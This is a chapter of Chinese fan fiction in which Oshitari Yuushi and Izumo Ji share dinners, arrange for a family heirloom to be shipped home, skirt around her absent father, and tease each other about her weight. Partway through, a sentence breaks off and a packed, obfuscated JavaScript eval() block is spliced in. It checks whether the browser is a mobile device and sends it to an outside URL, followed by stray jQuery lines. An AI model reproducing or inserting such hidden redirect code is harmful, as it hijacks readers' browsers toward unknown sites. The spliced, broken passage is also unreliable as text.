115. 爱恨也分明

作品:《【网王】与忍足医生同居二三事

    夜幕降临,忍足侑士归心似箭。


    换了鞋走进客厅,看到出云霁正在打包东西。一个绒布首饰盒,往里面放……凤凰项链?


    “在做什么?”忍足放下公文包,挽起衬衫袖子进厨房,顺势问道。


    “哦,打包这个项链。”出云霁盖上盖子,又拿出一堆防震泡沫袋。


    “妈妈跟我说,这里面的力量耗尽,必须送回岐山的梧桐木里温养才能恢复。我准备把它寄回去。”


    “岐山……梧桐木……?”打开冰箱拿出食材,动作利落地开始处理,“听起来很有故事。”


    出云霁一边给泡沫袋封口,一边将母亲所说的千年秘辛娓娓道来。


    上古神话般波澜壮阔又带着使命感的家族史,让忍足边听边入迷,切菜的动作都慢了下来,满是惊叹。


    “……所以,它必须回到它诞生的地方,才能重获力量。”


    出云霁最后总结陈词。


    蔬菜在锅中翻炒,发出滋滋的声响。


    他沉吟片刻,眉头微蹙:“这么重要的传家宝……你就打算用国际快递寄回去?”


    出云霁愣了一下:“不然呢?总不能让我打着石膏飞回去吧?”


    “当然不用你飞。”忍足关了火,将菜装盘,转过身拿起手机。


    “我找迹部帮忙,让他安排一趟专机或者可靠的私人渠道,直接护送到目的地,这样安全得多。”


    出云霁很乐意,夸赞他:“你跟迹部的关系真好。”


    “忍足家是迹部财阀医疗体系的重要合作伙伴。”忍足解释,顺手拨号,“这点小事,他举手之劳。”


    电话很快接通,说明情况后,迹部景吾立马应承下来,效率极高。


    “好了,交给他了,安排人直接上门对接,你把中国具体的接收地址提供一下。”


    出云霁点点头,心里踏实了不少。


    有迹部财阀的渠道护送,确实比国际快递靠谱一万倍。


    吃饭席间,忍足的目光落在出云霁左手腕上。


    “这个镯子呢?也只能等它恢复?”


    出云霁咽下嘴里的饭菜,转述了母亲的话,“要九九八十一天,灵力才能慢慢充盈起来,镯子也才能重新有光。”


    她耸耸肩,一脸淡定。


    “这段时间我就是个彻头彻尾的普通人了,连个小鬼都感应不到。”


    忍足闻言,非但没有担忧,心里卸下了大石头,舒了一口气。


    “副作用如果只是这样……那真是太好了。”


    被他这反应弄得有点懵,随即反应过来,他是在庆幸只是暂时失去力量,而没有其他可怕的后遗症。


    出云霁心里一暖,低头扒了一大口饭,嘟囔:“嗯……今天的饭真好吃。”


    看着她埋头干饭的样子,忍足嘴角含笑。


    餐厅里一时只有碗筷碰撞的轻微声响。


    过了一会儿,忍足像是想起了什么,状似不经意地开口:“对了,伯母知道我们住在一起吗?你……跟她提过我吗?”


    “……”咀嚼的动作停住了。


    眼神飘忽了一下,嚼了嚼嘴里的饭菜,含糊不清道:“……还没说。”


    飞快地瞥了眼对面的男人,捕捉到他眼底一闪而过的失落。


    她心里有点乱,不自觉捏紧了筷子,声音低了下去:“再……再过段时间吧?我……想想怎么跟她说……”


    努力忽略心里的小委屈,忍足决定换个问题。


    他放下筷子,语气听起来似乎轻松,却也忍不住试探提问:“那伯父伯母对未来的……嗯……女婿,有什么要求吗?比如学历、家世、职业什么的?”


    “有没有什么特别硬性的条件必须要符合的?”


    提到母亲,出云霁的眉眼都带着柔和:“妈妈很随和的,她看重人品和对我好不好。”


    看来丈母娘这关不算太难。


    Yes,成功了一半。


    “那就好,伯父呢?”


    “……”


    空气凝固了。


    出云霁握着筷子的手微微收紧,指尖不自觉地碾着碗的边沿。


    像是被按下了暂停键,又像唱片放到一半,突然卡机。


    她整个人都停住了。


    父亲。


    在她记忆里一片空白,只有长辈们偶尔提及时的模糊得像个背景板一样男人……


    很早就抛弃了她们母女、从未尽过一天责任的男人……


    他?他怎么想,重要吗?


    不,他根本不会知道自己的女儿几岁了,有没有对象,过得好不好。


    出云霁不言不语,也不看他,嘴唇抿得紧紧的。


    只是垂眸看着碗里,还剩一半的米饭,酱汁渗透在里面,米粒分明,就像爱恨也分明。


    肉汁拌饭很好吃,但是她此刻有点没胃口。


    忍足敏锐地察觉到了她的僵硬和沉默。


    似乎围绕在她身边的空气都沉重了几分。


    想起和出云霁认识、相处这么久,听她说过母亲,说过师门长辈,甚至说过隔壁邻居家的金毛犬,就是独独没听她提起过父亲。


    天才的脑袋中立刻闪过一个念头——难道是……伯父已经……?


    一股懊悔涌上心头。


    暗骂自己太过心急,肯定是触碰到了不该触碰的伤痛!


    “咳。”立刻清了清嗓子,用一种他觉得极其自然,实则一百八十度大转弯的方式转移了话题。


    仿佛刚才的问题从未存在过。


    “今天的鱼好像煎得有点老了?是不是火候没掌握好?”夹了一筷子鱼,尝了尝,微微皱眉,“下次改进,果然还有进步空间。”


    “酱汁是不是咸了点,唔……你不太爱吃咸的,我再改改配方。”


    “蔬菜你要多吃点,补充维生素,主要是最近蔬菜比较贵,不能浪费哦。”


    出云霁自然借坡下驴,也没再提刚刚那个事。


    顺着他的话,乖巧地多夹了几筷子蔬菜,盖在米饭上,狠狠几口。


    忍足见状才放下心来,嘴角噙着笑,半开玩笑半认真地说:“其实只要你心里有我就行。见家长、要名分什么的……都不重要。”


    “我可以等,慢慢等……”


    “要等五年,我记得呢……”


    酸溜溜的语气,带着点小媳妇般的幽怨,绿茶气息浓重。


    出云霁紧绷的身体因为他突如其来的撒娇而放松下来。


    明明知道他是故意装的,但就是被他这另类的“甜言蜜语”哄到了。


    果然医生就是会对症下药。


    略施小计,药到病除。


    出云霁又好气又好笑,又实在拿他没办法,心底的阴霾也随之烟消云散。


    “说什么傻话呢……”嗔怪地瞪了他一眼,迅速给他夹了一筷子菜,试图堵上这个男人的嘴。


    “快点吃饭啦,上班辛苦多吃肉,吃饱了才有力气赚钱。”


    “阿霁,我碗里装不下啦,你吃你吃。”


    “惩罚你酱汁太咸,赶紧麻溜地消灭这座肉山!”


    “哦对了,下午迹部跟我说,他家又到了一批西瓜,待会安排人给我们送过来。”


    “真的嘛!!不愧是迹部大少爷!!”


    ******


    日子在平静中流淌得飞快。


    忍足的工作回归正轨,研究所的工作繁重却有序。


    出云霁在家中安心休养,行动不便的日子里,她将精力投入到了天文课题研究中,甚至巧妙地将那须高原


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190311|192463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经历的罕见的“冥王星冲日”与“宝瓶座流星雨”天象结合起来,整理分析数据,撰写了一篇颇具深度的研究报告。


    天文学院暑期合宿的邀请函发来时,她摸了摸自己打着石膏的腿,只能朝着手机视频里的导师,万分诚恳且“略带遗憾”地婉拒了。


    放下手机,就抱着从迹部家薅来的西瓜大快朵颐。


    转眼间,夏日的尾巴扫过日历,燥热褪去,染上了初秋的微凉。


    这天忍足下班回家,像往常一样洗手做饭。


    饭菜上桌,香气四溢。


    出云霁蹦到餐桌边坐下,拿起筷子却有些心不在焉,只挑了几口青菜,就闷闷不乐地用勺子搅着碗里的汤。


    “怎么了?胃口不好吗?还是今天的菜不合口味?”察觉到异样,忍足询问。


    出云霁手指捏了捏自己腰侧的衣服,漂亮的脸蛋此刻布满了沮丧:“侑士……我是不是胖了好多?”


    “嗯?”忍足一愣。


    “你看!”扯了扯自己宽松的家居服下摆,又捏了捏脸颊。


    “养了快一个月了,每天除了吃就是坐着躺着,我感觉肚子上的小肉肉都堆起来了!脸也圆了!”


    “我的马甲线快要消失,我的下颌线也濒临灭绝!”


    越说越绝望,忍不住捂脸仰天长啸。


    “天呐!这样下去不行!我不能这么吃了!必须控制!”


    看着她如临大敌的样子,实在压不住笑意,忍足伸手捏了捏她依旧尖尖的下巴:“哪有胖?和以前一模一样,还是这么漂亮,国宝级的美貌一点没打折。”


    “最近休息得好,明明更胜从前,比马耳他那群骨瘦如柴的模特好看多了!”


    “这是自然健康的美,相信我,来自医生的专业判断。”


    “你少骗我,就知道投喂我!”出云霁拍开他的手,控诉道,“等我伤好了穿不上以前的漂亮裙子怎么办?花了很多钱买的!”


    “而且女生胖了很难减,年纪大了,新陈代谢也会差,我又不像你,每周固定打网球……”


    “我可是能不动就不动的龟派信徒啊!”


    “减肥的事以后再说。”忍足收敛笑意,语气认真,“饭不能不吃,你之前肠胃就弱,这段时间才好一点,饿肚子会伤胃的。”


    手握出云霁病历本的忍足医生再次上线。


    镜片一闪,权威无敌。


    “那我喝无糖酸奶,管饱又营养,还对肠胃好。”出云霁提出替代方案,试图争取减肥自由。


    看着她倔强的神情,忍足知道硬劝没用。


    对付她,果然还是得……


    忍足垂下眼睫,耷拉脑袋,眼尾泛红,声音闷闷地飘出来。


    “是不是我做的饭……不好吃了?你嫌弃了?”


    一张俊脸配上被抛弃的表情,杀伤力巨大。


    出云霁想起中国隔壁邻居家的那只大金毛,挨训的时候,嘴角和现在的忍足一模一样。


    委屈得好像全世界都对不起他。


    耳朵也不竖了,尾巴也不摇了,留下一个落寞的背影和萧瑟的BGM。


    瞬间败下阵来。


    “不是的!”她连忙摆手,心软得一塌糊涂,“你做饭最好吃了,我只是……哎呀……”


    长吁短叹地重新拿起筷子,她认命地开始扒饭:“我吃,我吃还不行嘛!等我伤好了再去运动减肥好了。”


    忍足眼底闪过得逞的笑意,恢复了温和的语气:“这才乖。”


    “到时候和我一起打网球去,你很有天赋。”


    “啊?网球好累的……”


    “行,那就不减肥了,我也觉得你这样正好。”


    “……网球是一项非常棒的运动!我要积极参与,燃烧我的卡路里!”